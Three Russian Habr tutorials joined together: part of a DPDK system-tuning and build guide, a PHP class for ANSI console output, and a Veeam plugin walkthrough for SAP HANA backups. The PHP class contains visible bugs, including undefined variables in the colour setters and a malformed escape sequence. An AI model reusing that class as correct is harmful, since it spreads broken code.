И вышеупомянутых *Poll Mode* драйверов (*PMD*), которые выполняются в пользовательском пространстве (*userspace*): e1000, e1000e, igb, ixgbe, i40e, fm10k и других.
*Kernel Network Interface* (KNI) — это специализированный драйвер который позволяет взаимодействовать с сетевым API ядра, выполнять *ioctl* вызовы к портам интерфейсов которые работают с *DPDK*, использовать распространённые утилиты (*ethtool*, *ifconfig*, *tcpdump*) для управления ими.
Как видите, у *DPDK*, по сравнению с другими решениями ~~netmap'ом~~, ~~хренова тьма~~ много плюшек для реализации [SDN](https://ru.wikipedia.org/wiki/Программно-конфигурируемая_сеть)'ов, которые так и манят на тёмную сторону аппаратного искусства.
Требования и тонкая настройка целевой системы
=============================================
Переведены и дополнены основные рекомендации официальной документации.
Не затронут вопрос настройки гипервизоров *XEN* и *VMware* для работы с *DPDK*.
Общие
-----
Если вы ставите ваш *DPDK* под *Intel* Communications Chipset 89xx, то [вам сюда](https://01.org/sites/default/files/page/330750-004_qat_gsg.pdf).
Для сборки нужен *coreutils*, *gcc*, заголовки ядра, заголовки *glibc*.
Вроде поддерживается *clang*, и есть поддержка *Intel*'овского *icc*.
Для запуска вспомогательных скриптов — *Python* 2.6/2.7
Ядро Linux должно быть собрано с поддержкой UIO и мониторингом адресных пространств процессов, это параметры ядра:
[CONFIG\_UIO](http://kernel.xc.net/html/linux-3.2.28/x86/CONFIG_UIO)
[CONFIG\_UIO\_PDRV](http://kernel.xc.net/html/linux-3.2.28/x86/CONFIG_UIO_PDRV)
[CONFIG\_UIO\_PDRV\_GENIRQ](http://kernel.xc.net/html/linux-3.2.28/x86/CONFIG_UIO_PDRV_GENIRQ)
[CONFIG\_UIO\_PCI\_GENERIC](http://kernel.xc.net/html/linux-3.2.28/x86/CONFIG_UIO_PCI_GENERIC)
и
[CONFIG\_PROC\_PAGE\_MONITOR](http://kernel.xc.net/html/linux-3.2.28/x86/PROC_PAGE_MONITOR)
Хочу обратить внимание на то что в *grsecurity* параметр PROC\_PAGE\_MONITOR считается слишком уж информативным — помогает в эксплуатировании уязвимостей ядра и в обходе *ASLR*.
[HPET](https://ru.wikipedia.org/wiki/HPET)
------------------------------------------
Для организации периодических прерываний высокой точности нужен [HPET](https://ru.wikipedia.org/wiki/HPET) таймер.
Можно глянуть наличие
```
grep hpet /proc/timer_list
```
Пойти включить в BIOS'e
> Advanced -> PCH-IO Configuration -> High Precision Timer
И собрать ядро с включенным [CONFIG\_HPET](http://kernel.xc.net/html/linux-2.6.18/i386/HPET) и [CONFIG\_HPET\_MMAP](http://kernel.xc.net/html/linux-2.6.18/i386/HPET_MMAP).
По умолчанию поддержка *HPET* выключена в самом *DPDK*, по этому нужно её включить выставив флаг CONFIG\_RTE\_LIBEAL\_USE\_HPET вручную в файле *config/common\_linuxapp*.
В некоторых случаях целесообразно использовать *HPET*, в других — [TSC](https://en.wikipedia.org/wiki/Time_Stamp_Counter).
Для реализации высокопроизводительного решения нужно использовать оба, так как у них разное предназначение и они компенсируют недостатки друг друга. Обычно, по умолчанию используется *TSC*. Инициализация и проверка доступности *HPET* таймера осуществляется вызовом **rte\_eal\_hpet\_init**(int **make\_default**) <[rte\_cycles.h](http://dpdk.org/doc/api/rte__cycles_8h_source.html)>. Странно что в документации API его упускают.
Изоляция ядер
-------------
Для разгрузки системного планировщика довольно распространённой практикой является изоляция логических ядер процессора сугубо для нужд высокопроизводительных приложений. Особенно это актуально для двух-процессорных систем.
Если ваше приложение выполняется на чётных ядрах 2, 4, 6, 8, 10 — можете добавить параметр ядра в ваш любимый загрузчик
> isolcpus=2,4,6,8,10
Для широкораспространённого [grub](https://ru.wikipedia.org/wiki/GNU_GRUB)'a это параметр GRUB\_CMDLINE\_LINUX\_DEFAULT в конфиге */etc/default/grub*.
Hugepages
---------
[Большие страницы](https://wiki.debian.org/Hugepages) необходимы для выделения памяти под сетевые буферы. Выделение больших страниц позитивно влияет на производительность так как необходимо меньше вызовов для трансляции виртуальных адресов памяти в [TLB](https://ru.wikipedia.org/wiki/Буфер_ассоциативной_трансляции). Правда выделяться они должны в процессе загрузки ядра во избежание фрагментации.
Для этого нужно добавить параметр ядра:
> hugepages=1024
Это выделит 1024 страницы по 2МБайт'a.
Для выделения четырёх страниц по гигабайту:
> default\_hugepagesz=1G hugepagesz=1G hugepages=4
Но нужна соответствующая поддеркжа — флаг процессора **pdpe1gb** в */proc/cpuinfo*.
```
grep pdpe1gb /proc/cpuinfo | uniq
```
Для 64-разрядных приложений использование 1ГБайт'ных страниц является предпочтительным.
Для получения информации о распределении страниц между ядрами в *NUMA* системе, можно использовать следующую команду
```
cat /sys/devices/system/node/node*/meminfo | fgrep Huge
```
Более подробно об управлением политикой выделения и освобождения больших страниц в [NUMA](https://ru.wikipedia.org/wiki/Non-Uniform_Memory_Access) системах можно почитать в [официальной документации](https://www.kernel.org/doc/Documentation/vm/hugetlbpage.txt).
Для поддержки больших страниц нужно собрать ядро с параметром [CONFIG\_HUGETLBFS](http://kernel.xc.net/html/linux-3.3.1/x86/HUGETLBFS)
Управления выделенными областями памяти для больших страниц осуществлеятся механизмом [Transparent Hugepage](https://www.kernel.org/doc/Documentation/vm/transhuge.txt), который выполняет дефрагментацию в отдельном потоке ядра **khugepaged**. Для его поддержки нужно собирать с параметром [CONFIG\_TRANSPARENT\_HUGEPAGE](http://kernel.xc.net/html/linux-3.3.1/x86/TRANSPARENT_HUGEPAGE) и политик [CONFIG\_TRANSPARENT\_HUGEPAGE\_ALWAYS](http://kernel.xc.net/html/linux-3.3.1/x86/TRANSPARENT_HUGEPAGE_ALWAYS) либо [CONFIG\_TRANSPARENT\_HUGEPAGE\_MADVISE](http://kernel.xc.net/html/linux-3.3.1/x86/TRANSPARENT_HUGEPAGE_ALWAYS).
Этот механизм остаётся актуальным даже в случае выделения больших страниц во время загрузки ОС, так как тем не менее остаётся вероятность отсутствия возможности выделения непрерывных областей памяти для страниц в 2МБайт'а, по различным причинам.
Есть [блокбастер](http://habrahabr.ru/company/intel/blog/171079/) о *NUMA* и памяти от адептов *Intel*'a.
Есть небольшая [статья](https://access.redhat.com/solutions/46111) о использовании больших страниц от Rad Hat.
После настройки и выделения страниц нужно примонтировать их, для этого нужно добавить в */etc/fstab* соответствующую точку монтирования
```
nodev /mnt/huge hugetlbfs defaults 0 0
```
Для 1Гбайт'овых страниц размер страницы нужно указать дополнительным параметром
```
nodev /mnt/huge hugetlbfs pagesize=1GB 0 0
```
По моим личным наблюдениям больше всего проблем при настройке и эксплуатации *DPDK* возникает именно с большими страницами. Стоит уделить особенное внимание средствам администрирования больших страниц.
Кстати, в *Power8* размер больших страниц составляет 16МБайт и 16ГБайт что, как по мне, немного перебор.
Менеджмент энергопотребления
----------------------------
В DPDK уже есть средства по управлению частотами процессора, так что бы стандартные политики «не совали палки в колёса».
Для их использования нужно включить [SpeedStep](https://ru.wikipedia.org/wiki/SpeedStep) и [C3 С6](https://software.intel.com/ru-ru/articles/power-management-states-p-states-c-states-and-package-c-states#_Toc383778910).
У вас в *BIOS* путь к настройкам мог бы выглядеть вот так
> Аdvanced->Processor Configuration->Enhanced Intel SpeedStep Tech
>
> Advanced->Processor Configuration->Processor C3 Advanced->Processor Configuration-> Processor C6
>
>
В приложении [l3fwd-power](http://www.dpdk.org/browse/dpdk/plain/examples/l3fwd-power/) представлен пример L3 свитча с использованием функций управления энергопотреблением.
Права доступа
-------------
Понятное дело что выполнять приложение с root'овыми правами доступа очень небезопасно.
Целесообразно использовать ACL для [создания прав](https://www.opennet.ru/docs/RUS/posixacl/posixacls5.html) доступа отдельной пользовательской группы
```
setfacl -s u::rwx,g::rwx,o:---,g:dpdk:rw- /dev/hpet
setfacl -s u::rwx,g::rwx,o:---,g:dpdk:rwx /mnt/huge
setfacl -s u::rwx,g::rwx,o:---,g:dpdk:rw- /dev/uio0
setfacl -s u::rwx,g::rwx,o:---,g:dpdk:rw- /sys/class/uio/uio0/device/config
setfacl -s u::rwx,g::rwx,o:---,g:dpdk:rwx /sys/class/uio/uio0/device/resource*
```
Что добавит полный доступ для группы пользователей dpdk для используемых ресурсов и устройства uio0.
Прошивка
--------
Для 40GbE cетевых адаптеров обработка мелких пакетов является довольно сложной задачей, и от прошивки до прошивки *Intel* внедряет дополнительные оптимизации. Поддержка прошивок серии **FLV3E** реализована в DPDK 2.2-rc2, но пока наиболее оптимальной является версия **4.2.6**. Вы можете обратиться в поддержку вендоров или напрямую к *Intel*'у для обновления, либо обновить самостоятельно.
Расширенные метки, размер запроса и дескрипторов чтения в PCIe устройствах
--------------------------------------------------------------------------
Параметры PCIe шины **extended\_tag** и **max\_read\_request\_size** значительно влияют на скорость обработки мелких пакетов — порядка 100Байт 40GbE адаптерами. В некоторых версиях BIOS их можно установить вручную — 125 Байт и «1» соответственно, для 100 Байтных пакетов.
Значения можно выставить в конфиге *config/common\_linuxapp* при сборке DPDK, с помощью следующих параметров:
> CONFIG\_RTE\_PCI\_CONFIG
>
> CONFIG\_RTE\_PCI\_EXTENDED\_TAG
>
> CONFIG\_RTE\_PCI\_MAX\_READ\_REQUEST\_SIZE
Либо с помощью **setpci** **lspci** команд.
[Вот в чём](http://www.xilinx.com/support/answers/36596.html) разница между MAX\_REQUEST и MAX\_PAYLOAD параметрами для PCIe устройств, но в конфигах есть только MAX\_REQUEST.
Для *i40e* драйвера имеет смысл уменьшить размер дескрипторов чтения до 16 Байт, выполнить это можно установкой следующего параметра: CONFIG\_RTE\_LIBRTE\_I40E\_16BYTE\_RX\_DESC в *config/common\_linuxapp* или в *config/common\_bsdapp* соответственно.
Также можно указать минимальный интервал между обработкой прерываний записи CONFIG\_RTE\_LIBRTE\_I40E\_ITR\_INTERVAL в зависимости от существующих приоритетов: максимальной пропускной способности или попакетным задержкам.
Также подобные параметры есть для драйвера *Mellanox* mlx4.
> CONFIG\_RTE\_LIBRTE\_MLX4\_SGE\_WR\_N
>
> CONFIG\_RTE\_LIBRTE\_MLX4\_MAX\_INLINE
>
> CONFIG\_RTE\_LIBRTE\_MLX4\_TX\_MP\_CACHE
>
> CONFIG\_RTE\_LIBRTE\_MLX4\_SOFT\_COUNTERS
Которые наверняка как-то влияют на производительность.
Все остальные параметры сетевых адаптеров связаны с отладочными режимами, которые позволяют очень тонко профилировать и отлаживать целевое приложение, но об этом далее.
IOMMU для работы с *Intel* VT-d
-------------------------------
Нужно собрать ядро с параметрами
[CONFIG\_IOMMU\_SUPPORT](http://kernel.xc.net/html/linux-3.2.28/x86/IOMMU_SUPPORT)
[CONFIG\_IOMMU\_API](http://kernel.xc.net/html/linux-3.2.28/x86/CONFIG_IOMMU_API)
[CONFIG\_INTEL\_IOMMU](http://kernel.xc.net/html/linux-3.2.28/x86/CONFIG_INTEL_IOMMU)
Для **igb\_uio** драйвера должен быть установлен параметр загрузки
> iommu=pt
Что приводит к корректной трансляции адресов *DMA* (*DMA remapping*). Поддержка *IOMMU* для целевого сетевого адаптера в гипервизоре **выключается**. Сам по себе *IOMMU* довольно расточителен для высокопроизводительных сетевых интерфейсов. В DPDK реализован маппинг «один к одному», по этому полная поддержка *IOMMU* не требуется, хоть это и ещё одна брешь в безопасности.
Если при сборке ядра установлен флаг [INTEL\_IOMMU\_DEFAULT\_ON](http://kernel.xc.net/html/linux-3.2.28/x86/INTEL_IOMMU_DEFAULT_ON) то должен использоваться параметр загрузки
> intel\_iommu=on
Что гарантирует корректную инициализацию Intel *IOMMU*.
Хочу обратить внимание что использование *UIO* (*uio\_pci\_generic*, *igb\_uio*) является опциональным для ядер поддерживающих *VFIO* (vfio-pci), с помощью которых реализованы функции взаимодействия с целевыми сетевыми интерфейсами.
*igb\_uio* нужен в случае отсутствия поддержки некоторых прерываний и/или виртуальных функций целевыми сетевыми адаптерами, иначе можно спокойно использовать *uio\_pci\_generic*.
Не смотря на то что iommu=pt параметр является обязательным для igb\_uio драйвера, vfio-pci драйвер корректно функционирует как с параметром iommu=pt так и с iommu=on.
Сам по себе *VFIO* функциклирует довольно ~~упорото~~ странно, в связи с особенностями работы *IOMMU* групп: некоторые устройства требуют что бы все их порты были привязаны (binded) под *VFIO*, другим нужны только некоторые, третим вообще не нужно ничего привязывать.
Если ваше устройство находится за *PCI-to-PCI* мостом, то драйвер моста будет входить в ту же *IOMMU* группу что и целевой адаптер, по этому драйвер моста нужно выгрузить — что бы *VFIO* могло подхватить устройства за мостом.
Проверить расположение существующих устройств и используемые драйвера можно скриптом:
```
./tools/dpdk_nic_bind.py --status
```
Также можно явно привязать драйвера к конкретным сетевым устройствам
```
./tools/dpdk_nic_bind.py --bind=uio_pci_generic 04:00.1
./tools/dpdk_nic_bind.py --bind=uio_pci_generic eth1
```
Удобненько однако.
Установка
=========
[Берём исходники](http://dpdk.org/download) и собираем так как описано далее.
Сам *DPDK* поставляется с набором приложений-примеров, на которых можно обкатать корректность настройки системы.
Настройка DPDK, как уже было сказано выше, производится посредством установки параметров в файлах *config/common\_linuxapp* и *config/common\_bsdapp*. Стандартные значения платформозависимых параметров хранятся в файлах *config/defconfig\_\**.
Сначала производится применение шаблона конфигурации, создаётся папка *build* со всей живностью и таргетами:
```
make config T=x86_64-native-linuxapp-gcc
```
В *DPDK* 2.2 доступны следующие целевые окружения (у меня)
```
arm-armv7a-linuxapp-gcc
arm64-armv8a-linuxapp-gcc
arm64-thunderx-linuxapp-gcc
arm64-xgene1-linuxapp-gcc
i686-native-linuxapp-gcc
i686-native-linuxapp-icc
ppc_64-power8-linuxapp-gcc
tile-tilegx-linuxapp-gcc
x86_64-ivshmem-linuxapp-gcc
x86_64-ivshmem-linuxapp-icc
x86_64-native-bsdapp-clang
x86_64-native-bsdapp-gcc
x86_64-native-linuxapp-clang
x86_64-native-linuxapp-gcc
x86_64-native-linuxapp-icc
x86_x32-native-linuxapp-gcc
```
*ivshmem* — это механизм [QEMU](https://ru.wikipedia.org/wiki/QEMU) который вроде как позволяет делиться областью памяти между несколькими гостевыми виртуальными машинами без копирования, посредством общего специализированного устройства. Хотя копировать в разделяемую (*shared*) память нужно в случае коммуникации между гостевыми ОС, правда это не случай *DPDK*. Сам по себе *ivshmem* реализован довольно [просто](https://github.com/qemu/qemu/blob/master/hw/misc/ivshmem.c).
Предназначение остальных шаблонов конфигурации должно быть очевидным, иначе зачем вы вообще это читаете?
Кроме шаблона конфигурации есть другие опциональные параметры
```
EXTRA_CPPFLAGS - флаги препроцессора
EXTRA_CFLAGS - флаги компилятора
EXTRA_LDFLAGS - флаги линковщика
EXTRA_LDLIBS - библиотеки линковщика
RTE_KERNELDIR - путь к заголовочным файлам ядра
CROSS - префикс тулчейна
V=1 - детализировать отладочную информацию процесса сборки
D=1 - внедрить отладочные зависимости
O - расположение папки `build`
DESTDIR - путь установки целей `/usr/local`
```
Далее просто старый-добрый
```
make
```
Список целей для *make* довольно банален
```
all build clean
install uninstall
examples examples_clean
```
Для работы нужно загрузить *UIO* модули
```
sudo modprobe uio_pci_generic
```
или
```
sudo modprobe uio
sudo insmod kmod/igb_uio.ko
```
Если используется *VFIO*
```
sudo modprobe vfio-pci
```
Если используется *KNI*
```
insmod kmod/rte_kni.ko
```
Сборка и запуск примеров
========================
DPDK использует 2 переменные окружения для сборки примеров:
* RTE\_SDK — путь к папке где установлен *DPDK*
* RTE\_TARGET — название шаблона конфигурации используемого для сборки
Они используются в соответствующих *Makefile*'ах.
EAL уже предоставляет некоторые параметры командной строки для настройки приложения:
* -c <маска> — шестнадцатеричная маска логических ядер на которых будет выполнятся приложение
* -n <количество> каналов памяти на процессор
* -b <домен: шина: идентификатор.функция>,… — чёрный список *PCI* устройств
* --use-device <домен: шина: идентификатор.функция>,… — белый список *PCI* устройств, не может использоваться одновременно с чёрным
* --socket-mem MB — количество выделяемой памяти больших страниц на один процессорный сокет
* -m MB — количество выделяемой памяти больших страниц, игнорируется физическое расположение процессора
* -r <количество> слотов памяти
* -v — версия
* --huge-dir — папка к которой примонтированы большие страницы
* --file-prefix — префикс файлов которые хранятся в файловой системе больших страниц
* --proc-type — экземпляр процесса, используется вместе с --file-prefix для запуска приложения в нескольких процессах
* --xen-dom0 — выполнение в *Xen domain0* без поддержки больших страниц
* --vmware-tsc-map — использование *TSC* счетчика предоставляемого *VMWare*, вместо *RDTSC*
* --base-virtaddr — базовый виртуальный адресс
* --vfio-intr — тип прерываний исспользуемых *VFIO*
Для проверки номерации ядер в системе можно использовать команду *lstopo* из пакета [hwloc](http://www.open-mpi.org/projects/hwloc/).
Рекомендуется использовать всю выделенную в виде больших страниц память, это поведение по умолчанию если не используются параметры -m и --socket-mem. Выделение непрерывных областей памяти меньше чем доступно в больших страницах может привести к ошибкам инициализации *EAL*, и иногда к неопределённому поведению.
Для выделения 1ГБайт'a памяти
* на нулевом сокете () нужно указать --socket-mem=1024
* на первом --socket-mem=0,1024
* на нулевом и втором --socket-mem=1024,0,1024
Для сборки и запуска Hello World
```
export RTE_SDK=~/src/dpdk
cd ${RTE_SDK}/examples/helloworld
make
./build/helloworld -c f -n 2
```
Таким образом приложение выполнится на четырех ядрах, c учётом что установлено 2 планки памяти.
И получим мы 5 hello world'ов с разных ядер.
### Проблема курицы, яйца и птеродактиля
Я выбрал Java как целевую платформу из-за относительно высокой производительности виртуальной машины и возможности внедрения дополнительных механизмов менеджмента памяти. Вопрос как распределить ответственность: где выделять память, где управлять потоками, как выполнять планировку задач и что особенного в механизмах *DPDK* — довольно сложен и двузначен. Пришлось незаурядно поколупаться в исходниках *DPDK*, *Netty* и самого *OpenJDK*. В итоге были разработаны специализированные версии компонентов *netty* с очень глубокой интеграцией *DPDK*.
Продолжение следует. | https://habr.com/ru/post/267591/ | null | ru | null |
# Работа с ANSI консолью
[](http://alexsnet.ru/wp-content/uploads/2008/11/picture-12.png)Часто ли нужно сделать програму для консоли? Не так часто, да? А вот я последнее время только этим и занимаюсь… Поэтому сделал класс (на самом деле сделал еще очень давно).
Этот класс позволяет выполнять такие простые операции, как подсветка текста, подсветка бэкграунда буквы или текста, установка курсора на нужную позицию, выбор консоли для вывода и ввод текста в консоль.
Долго трепать языком не стану. Тот, кто зашел под кат явно знает зачем он пришел. А поэтому…Вот код:
> `1. php </li- class console
> - {
> - const TARGET\_OUTPUT = "php://output";
> - const TARGET\_STDOUT = "php://stdout";
> - const TARGET\_STDERR = "php://stderr";
> - const TARGET\_STDIN = "php://stdin";
> - protected static $color = array(
> - 'gray' => 30,
> - 'black' => 30,
> - 'red' => 31,
> - 'green' => 32,
> - 'yellow' => 33,
> - 'blue' => 34,
> - 'magenta' => 35,
> - 'cyan' => 36,
> - 'white' => 37,
> - 'default' => 39
> - );
> - protected static $bgcolor = array(
> - 'gray' => 40,
> - 'black' => 40,
> - 'red' => 41,
> - 'green' => 42,
> - 'yellow' => 43,
> - 'blue' => 44,
> - 'magenta' => 45,
> - 'cyan' => 46,
> - 'white' => 47,
> - 'default' => 49,
> - );
> - protected static $style = array(
> - 'default' => '0',
> - 'bold' => 1,
> - 'faint' => 2,
> - 'normal' => 22,
> - 'italic' => 3,
> - 'notitalic' => 23,
> - 'underlined' => 4,
> - 'doubleunderlined' => 21,
> - 'notunderlined' => 24,
> - 'blink' => 5,
> - 'blinkfast' => 6,
> - 'noblink' => 25,
> - 'negative' => 7,
> - 'positive' => 27,
> - );
> - private $text = "";
> - // Outputing
> - public function draw($text='')
> - {
> - echo $this->text.$text;
> - $this->text = '';
> - return $this;
> - }
> - // Input
> - public function readNumeric()
> - {
> - $stdin = fopen('php://stdin', 'r');
> - $line = trim(fgets($stdin));
> - fscanf($stdin, "%d\n", $number);
> - return $number;
> - }
> - public function readString()
> - {
> - $stdin = fopen('php://stdin', 'r');
> - $line = trim(fgets($stdin));
> - fscanf($stdin, "%s\n", $string);
> - return $string;
> - }
> - // Sound
> - public function beep() { echo "\007"; return $this; }
> - public function setSoundHerz($herz=100) { echo "\033[10;{$herz}]"; return $this; }
> - public function setSoundLong($milliseconds=500) { echo "'033[11;{$milliseconds}]"; return $this; }
> - // Cursor position
> - public function toPos( $row = 1, $column = 1 ) { echo "\033[{$row};{$column}H"; return $this; }
> - public function cursorUp($lines=1) { echo "\033[{$lines}A"; return $this; }
> - public function cursorDown($lines=1) { echo "\033[{$lines}B"; return $this; }
> - public function cursorRight($columns=1) { echo "\033[{$columns}C"; return $this; }
> - public function cursorLeft($columns=1) { echo "\033[{$columns}D"; return $this; }
> - // Text colors
> - public function setStyle($style='default') { $this->text .= "\033[".$this->style[$style]."m"; return $this; }
> - public function setColor($color='default') { $this->text .= "\033[".$this->color[$style]; return $this; }
> - public function setBgColor($color='default') { $this->text .= "\033[".$this->bgcolor[$style]; return $this; }
> - // Application
> - public function setAppName($name='') { echo "\033]0;{$name}\007"; return $this; }
> - public function setTitle($name='') { echo "\033]2;{$name}\007"; return $this; }
> - public function setIcon($name='') { echo "\033]1;{$name}\007"; return $this; }
> - // Other
> - public function clear() { echo "\033c"; return $this; }
> - public function console($num=1) { echo "\033[12;{$num}]"; return $this; }
> - }
> - ?>
> \* This source code was highlighted with Source Code Highlighter.`
Так же скачать это можно с phpclasses.org по этой ссылке: <http://www.phpclasses.org/browse/package/4969.html>
И посмотреть кросс-пост в моем блоге по адресу: <http://alexsnet.ru/2008/11/how-to-work-with-ansi-console/>
Спасибо за внимание. | https://habr.com/ru/post/45041/ | null | ru | null |
# Плагин Veeam для бэкапа и восстановления баз данных SAP HANA
В этом сезоне разработчики Veeam представили решение для бэкапа и восстановления серверов и баз данных SAP HANA. Читатели нашего блога проявили интерес к новинке — а тут как раз подоспела и полезная статья от моего коллеги Клеменса Зербе. Сегодня поделюсь ею с вами, немного дополнив. Итак, добро пожаловать под кат.
Как видно из картинки, в комплексное решение для SAP HANA входят:
* **Veeam Backup & Replication** — для бэкапа серверов SAP HANA на уровне образа или на уровне файлов, с поддержкой восстановления.
Если ваш сервер виртуализован — то лучшие бэкаповеды рекомендуют Veeam Backup & Replication; для физического же сервера есть Veeam Agent for Linux. У обоих имеется достаточно подробная документация, плюс статьи в нашем блоге здесь.
* **Плагин Veeam** — для бэкапа и восстановления баз SAP HANA с учетом транзакций.
Этот плагин умеет задействовать SAP Backint (нативный API) для бэкапа баз и журналов транзакций и сохранять бэкапы в репозиторий Veeam (включая и масштабируемый репозиторий — SOBR). Об этом плагине я сегодня и расскажу.
Рассматриваем плагин поближе
============================
Как было сказано выше, плагин задействует SAP Backint API для работы непосредственно с базой SAP HANA. HANA поддерживает свой собственный каталог резервных копий с настраиваемыми политиками хранения и интервалами создания. Так что Veeam Backup & Replication только и остается, что взять данные из дата-пайпов и положить их в репозиторий.
В ходе восстановления SAP HANA указывает Veeam Backup & Replication, какие данные необходимо восстановить, и Veeam достает их из репозитория.
Операции передачи данных выполняются при помощи компонента *Veeam Transport Agent* — транспортного агента, об этом следует помнить при планировании развертывания.
Если рисовать картинку про взаимодействие компонентов, то она будет выглядеть так:
1. Когда вы запускаете процесс резервного копирования базы, то SAP HANA Backint тут же запускает сервисы плагина Veeam Plug-in.
2. Veeam Plug-in подключается к серверу Veeam Backup & Replication и создает там объект задания резервного копирования — *backup job object*, благодаря чему резервные копии SAP HANA становятся видны админу Veeam backup.
3. Затем Veeam Plug-in запускает агентов *Veeam Transport Agent* на сервере SAP HANA и на репозитории. Каждый из этих агентов создает отдельный канал для потоков данных резервного копирования.
4. Veeam Transport Agents передают данные в репозиторий.
*Примечание:* Надо иметь в виду, что SAP HANA Backint работает только с базой данных, выполняя разные виды бэкапа — полный, дифференциальный, инкрементальный — и журналов. Он же (Backint) используется и для восстановления. Вдобавок, кроме собственно данных, имеются также установочные и конфигурационные файлы SAP HANA, и крутится всё это на операционной системе Red Hat или SUSE. Об этом тоже не надо забывать. Так что если вам нужен бэкап собственно сервера или файлов, то для этого потребуется уже другой инструментарий.
Да, сам плагин входит в **Veeam Backup & Replication 9.5 Update 4** (или **4a**) в редакции *Enterprise Plus*.
Начинаем установку
==================
Сначала, конечно же, проверяем соответствие системным требованиям. Поддерживаемые ОС:
* SUSE Linux Enterprise Server for SAP Applications 12 SP1/SP2/SP3/SP4 (x86\_64)
* SUSE Linux Enterprise Server for SAP Applications 15 (x86\_64)
* Red Hat Enterprise Linux for SAP Applications 7.2/ 7.3/7.4/7.5 (x86\_64)
Поддерживаются SAP HANA 2.0 SPS 02/SPS 03/SPS 04. Редакция *Express Edition* не поддерживается.
Для выполнения тестовой установки плагина, бэкапа и восстановления базы вам понадобятся:
* Настроенный Veeam backup репозиторий (без шифрования!) и необходимыми правами доступа к нему.
* Для репозитория Veeam и для вашей системы HANA должно поддерживаться разрешение имен с помощью DNS (как для forward, так и для reverse).
* Система HANA версии 2.0 SPS02 или выше, работающая на x86.
* Поддержка товарища — если вы Veeam-админ, то желательно иметь рядом коллегу с опытом работы с SAP Basis, и наоборот.
Файлы установки хранятся на Veeam Backup & Replication ISO в каталоге */Plugins/SAP HANA/x64*.
1. Монтируем ISO, идем в каталог */Plugins/SAP HANA/x64*. Копируем нужный файл (*.rpm* или *tar.gz*) на сервер SAP HANA.
2. Запускаем на этом сервере соответствующую команду, например:
`sudo rpm -i VeeamPluginforSAPHANA-X.X.X.XXXX.x86_64.rpm`
*Примечание:* Для подключения к системе можно использовать Putty или любой другой ssh-клиент. Для установки вам потребуется аккаунт с правами *sudo*.
3. Ждем завершения установки и приглашения запустить визард конфигурации **SapBackintConfigTool --wizard**.
*Полезно:* Вообще-то установка проходит довольно бодро, но на всякий случай для любителей еще более высоких скоростей, у которых стоит Veeam Backup & Replication 9.5 Update 4a, есть вот такой специализированный [performance patch for HANA](https://www.veeam.com/kb2948).
Переходим к настройке
=====================
*Важно!* Для настройки Veeam Plug-in понадобится учетная запись пользователя с правами админа БД на всех инстансах SAP HANA данного сервера. Режим *SAP HANA High Level Isolation* не поддерживается.
1. С правами root запускаем **SapBackintConfigTool --wizard**.
2. Тут нам нужно будет указать:
* Имя или IP-адрес сервера Veeam backup
* Порт для связи с этим сервером — по умолчанию **10006**
* Имя пользователя и пароль для доступа к этому же серверу — учетку и права доступа должен организовать администратор, ответственный за работу Veeam Backup & Replication
* Репозиторий, куда будут сохраняться бэкапы — если с правами всё в порядке, то отобразится список всех доступных репозиториев. Они будут перенумерованы, надо ввести номер нужного вам. В данном примере был выбран репозиторий под номером 2 в списке (его имя **SOBR1**).
3. Все остальное визард делает автоматически, а именно — сохраняет настройки в файл */opt/veeam/VeeamPluginforSAPHANA/veeam\_config.xml* и активирует SAP Backint через soft link.
*Примечание:* Если SAP Backint у вас уже был предварительно настроен, то выдастся сообщение, какие шаги нужно сделать дополнительно и в какой момент перезапустить данный визард.
Делаем первый бэкап
===================
Проще всего использовать для этого SAP HANA Studio, но можно также и любой другой инструмент, например, SAP HANA Cockpit, DBA planer или какой-либо внешний шедулер.
1. Запускаем SAP HANA Studio и подключаемся к нужному инстансу SAP HANA в режиме **Multiple containers → System database**. (Тут вы вправе рассчитывать на дружескую помощь админа SAP Basis — он укажет имя хоста и инстанс.)
2. Выбираем аутентификацию с использованием учетки пользователя — **Authentication by database user**. Вводим имя пользователя и пароль для SAP HANA (в нашем примере это *system* — но это необязательно, вы можете создать учетку специально для операций бэкапа и восстановления с правами на backup и catalog rights. Про это написано в документации HANA).
3. Если с настройками все хорошо, то после прохождения визарда вы увидите в окне консоли примерно такую структуру:
Если кликнуть по узлу **SYSTEMDB@SID (SYSTEM)** — откроется окно с подробными свойствами.
4. А мы кликаем по этому узлу правой кнопкой и выбираем пункт меню **Backup and Recovery → Open Backup Console**:
5. Переходим на вкладку **Сonfiguration** и там кликаем на **Backint settings**. Если в поле **Backint Agent** видим */opt/Veeam/VeeamPluginforSAPHANA/hdbbackint* — значит, все настройки сделаны как надо.
Обратите внимание на несколько моментов в настройках:
* Поскольку Veeam не использует файлы **Backint Parameter files**, соответствующие поля должны быть пустыми. Если в них что-то есть, очистите их.
* Настройки бэкапа логов **Log Backup Settings** дают возможность хранить логи на файловой системе (опция **File**) либо задействовать Backint для отправки логов в Veeam Backup & Replication. Второй вариант (опция **Backint**) предпочтительнее, но только после подтверждения со стороны вашего SAP Basis-админа.
* Если вы поменяли какие-либо настройки, не забудьте их сохранить.
Наконец всё проверено, запускаем резервное копирование.
1. Кликаем правой кнопкой по узлу нашей базы **SYSTEMDB@DEV** и выбираем команду **Backup and Recovery → Back Up System Database** (и затем также будет **Backup Tenant Database**).
2. Выбираем тип бэкапа, который планируем создать. В качестве **Destination type** выбираем **Backint**, жмем **Next**.
3. Еще раз просматриваем все параметры и жмем **Finish**.
4. Наблюдаем за ходом процесса.
5. Когда все закончится, проверяем, на месте ли логи — в **Backup Execution Summary** кликаем по ссылке **Open Log File**.
6. Возвращаемся в диалог **Backup System DB** и открываем каталог бэкапов **Backup Catalog**. Там должно быть детальное описание только что созданного бэкапа, наподобие вот такого:
7. Повторяем аналогичную процедуру для tenant-а: запускаем резервное копирование базы, проверяем логи, смотрим, что в каталоге.
Если вы теперь откроете консоль Veeam Backup & Replication, то там вы увидите следующее:
* Под узлом **Jobs** появилось новое задание с именем такого вида *“hostname SAP backint backup (repository name)"*
* Под узлом **History** появилась новая папка **Plug-ins** (для Sap HANA & Oracle RMAN).
Сработало! С чем вас и поздравляю, а теперь переходим к восстановлению.
Восстанавливаем базу
====================
*Важно!* Все тестовые процедуры, как та, что описана ниже, должны выполняться только в тестовой инфраструктуре и рядом с вашим коллегой — SAP Basis-админом. Никогда не выполняйте тестовые и учебные процедуры на продакшене! (Ваш Капитан Очевидность:)
В этом примере мы будем восстанавливать tenant-базу на текущее состояние (системные базы, как правило, требуют восстановления только в случае каких-то серьезных проблем, и для подобного восстановления может понадобиться консультация техподдержки SAP).
